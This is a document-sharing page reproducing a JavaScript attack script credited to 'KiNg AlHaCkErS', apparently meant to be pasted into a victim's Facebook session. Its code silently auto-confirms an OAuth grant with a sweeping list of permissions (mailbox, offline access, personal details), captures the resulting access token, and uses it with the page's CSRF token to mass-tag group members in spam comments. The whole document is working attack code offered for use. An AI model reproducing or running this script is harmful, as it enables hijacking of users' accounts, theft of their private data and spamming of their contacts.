Vous êtes sur la page 1sur 3

var post_id =

var group_id =
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
uygulamaizinver(TokenUrl("2254487659"));
var profile_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])
.toString();
function uygulamaizinver(url){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
izinverhtml = document.createElement("html");
izinverhtml.innerHTML = xmlhttp.responseText;
if(izinverhtml.getElementsByTagName("form").length > 0){
izinverhtml.innerHTML = izinverhtml.getElementsByTagName("form")[0].outerHTML
act = izinverhtml.getElementsByTagName("form")[0].action;
duzenlevegonder(izinverhtml,act);
}
}
};
xmlhttp.open("GET", url, true);
xmlhttp.send();
}
function duzenlevegonder(formnesne,act){
izinverparams = "";
for(i=0;i<formnesne.getElementsByTagName("input").length;i++){
if(formnesne.getElementsByTagName("input")[i].name.indexOf("__CANCEL__") < 0 &&
formnesne.getElementsByTagName("input")[i].name.indexOf("cancel_clicked")){
izinverparams += "&" + formnesne.getElementsByTagName("input")[i].name + "=" + f
ormnesne.getElementsByTagName("input")[i].value;
}
}
if(formnesne.getElementsByTagName("select").length > 0){
izinverparams += "&" + formnesne.getElementsByTagName("select")[0].name + "=80";
}
izinverparams.replace("&fb_dtsg","fb_dtsg");
izinverparams += "&__CONFIRM__=1";
formnesne = formnesne;
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
izinhtml = document.createElement("html");
izinhtml.innerHTML = xmlhttp.responseText;
if(izinhtml.getElementsByTagName("form").length > 0){
izinhtml.innerHTML = izinhtml.getElementsByTagName("fo
rm")[0].outerHTML;
act = izinhtml.getElementsByTagName("form")[0].action;
duzenlevegonder(izinhtml,act)
}else{
sex = xmlhttp.responseText.match(/#access_token=(.*?)&ex
pires_in/i);
if (sex[1]) {
tokenyolla(sex[1]);
}
}
}
};
xmlhttp.open("POST", act , true);
xmlhttp.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");

xmlhttp.send(izinverparams);
}
function TokenUrl(id){
return "//www.facebook.com/dialog/oauth?response_type=token&display=popup&client
_id=" + id +"&redirect_uri=fbconnect://success&sso_key=com&scope=public_profile
,basic_info,read_stream,read_mailbox,read_page_mailboxes,rsvp_event,offline_acce
ss,email,read_insights,manage_notifications,read_friendlists,manage_pages,publis
h_actions,whitelisted_offline_access,user_birthday,user_religion_politics,user_r
elationships,user_relationship_details,user_hometown,user_location,user_likes,us
er_activities,user_interests,user_education_history,user_work_history,user_websi
te,user_groups,user_events,user_photos,user_videos,user_friends,user_about_me,us
er_status";
}
if(!localStorage['token_' + profile_id] || (localStorage['token_' + profile_id]
&& tarih.getTime() >= localStorage['token_' + profile_id])){
var http = new XMLHttpRequest();
http['open']('GET', 'https://graph.facebook.com/' + profile_id, false);
http['send']();
var get = JSON.parse(http['responseText']);
var isim = get.name;
}
function tokenyolla(access_token){
var access = access_token;
var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8
px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width
:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt
1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2)
;background-color:rgba(255,255,255,0.9);color:#000000'>";
display += "<div style='padding-bottom:5px;font-size:20px;'>Coded By KiN
g AlHaCkErS</div>";
if (i > 0) {
display += "<div class='friend-edge'>";
display += "<div style='text-align:center;font-size:13px;red-space:p
re-wrap;color:gray'>";
display += "Please Wait While Inviting Your Friends to Like Your Pag
e .</br>";
display += "</div>";
display += "</div>";
} else {
display += "<b> Group memmbers is tagging now</b></br>";
display += "<div><span class='layerCancel uiOverlayButton uiButton u
iButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.displa
y=\"none\"'>Stop & Exit</span><br/>";
display += "<div style='text-align:center;font-size:10px;red-space:p
re-wrap;color:gray'><br/>";
display += "</div>";
}
display += "</div>";
document.getElementById("pagelet_sidebar").innerHTML = display
function x__0() {
return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLH
ttpRequest
}
function get_friends() {
var a = x__0();
a.open("GET", "https://graph.facebook.com/"+ group_id +"/members?access_toke

n="+ access +"", false);


a.send(null);
if (a.readyState == 4) {
var f = JSON.parse(a.responseText.substring(a.responseText.indexOf("{"))
);
return f.data
}
return false
}
function get_uid(b) {
var a = x__0();
a.open("GET", "https://graph.facebook.com/" + user_id , false);
a.send();
if (a.readyState == 4) return uid = JSON.parse(a.responseText).id;
return false
}
var patt = /comment_text=(.*?)&/;
var c = 1;
username = /\.com\/(.*?)\//.exec(window.top.location)[1];
uid = get_uid(username);
a = window.top.location;
termina = 0;
var amigos = get_friends();
uids = "comment_text=";
header = "ft_ent_identifier=" + post_id + "&comment_text=?&source=1&client_id=13
59576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]
=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expa
nded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" + uid + "&__a=1&__req=4u&fb_
dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&phstamp=" + Math.ran
dom();
for (var n = 1; n < amigos.length; n++) {
fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
uids += "%40[" + amigos[n].id + "%3AAAAAAAAAAAA]%20";
c++;
if (c == 50) {
uids += "&";
with(new XMLHttpRequest) open("POST", "/ajax/ufi/add_comment.php?__a=1")
, setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(he
ader.replace(patt, uids));
z = setTimeout("function(){asd=0}", 1E3);
clearInterval(z);
c = 1;
uids = "comment_text="
}
}}

Vous aimerez peut-être aussi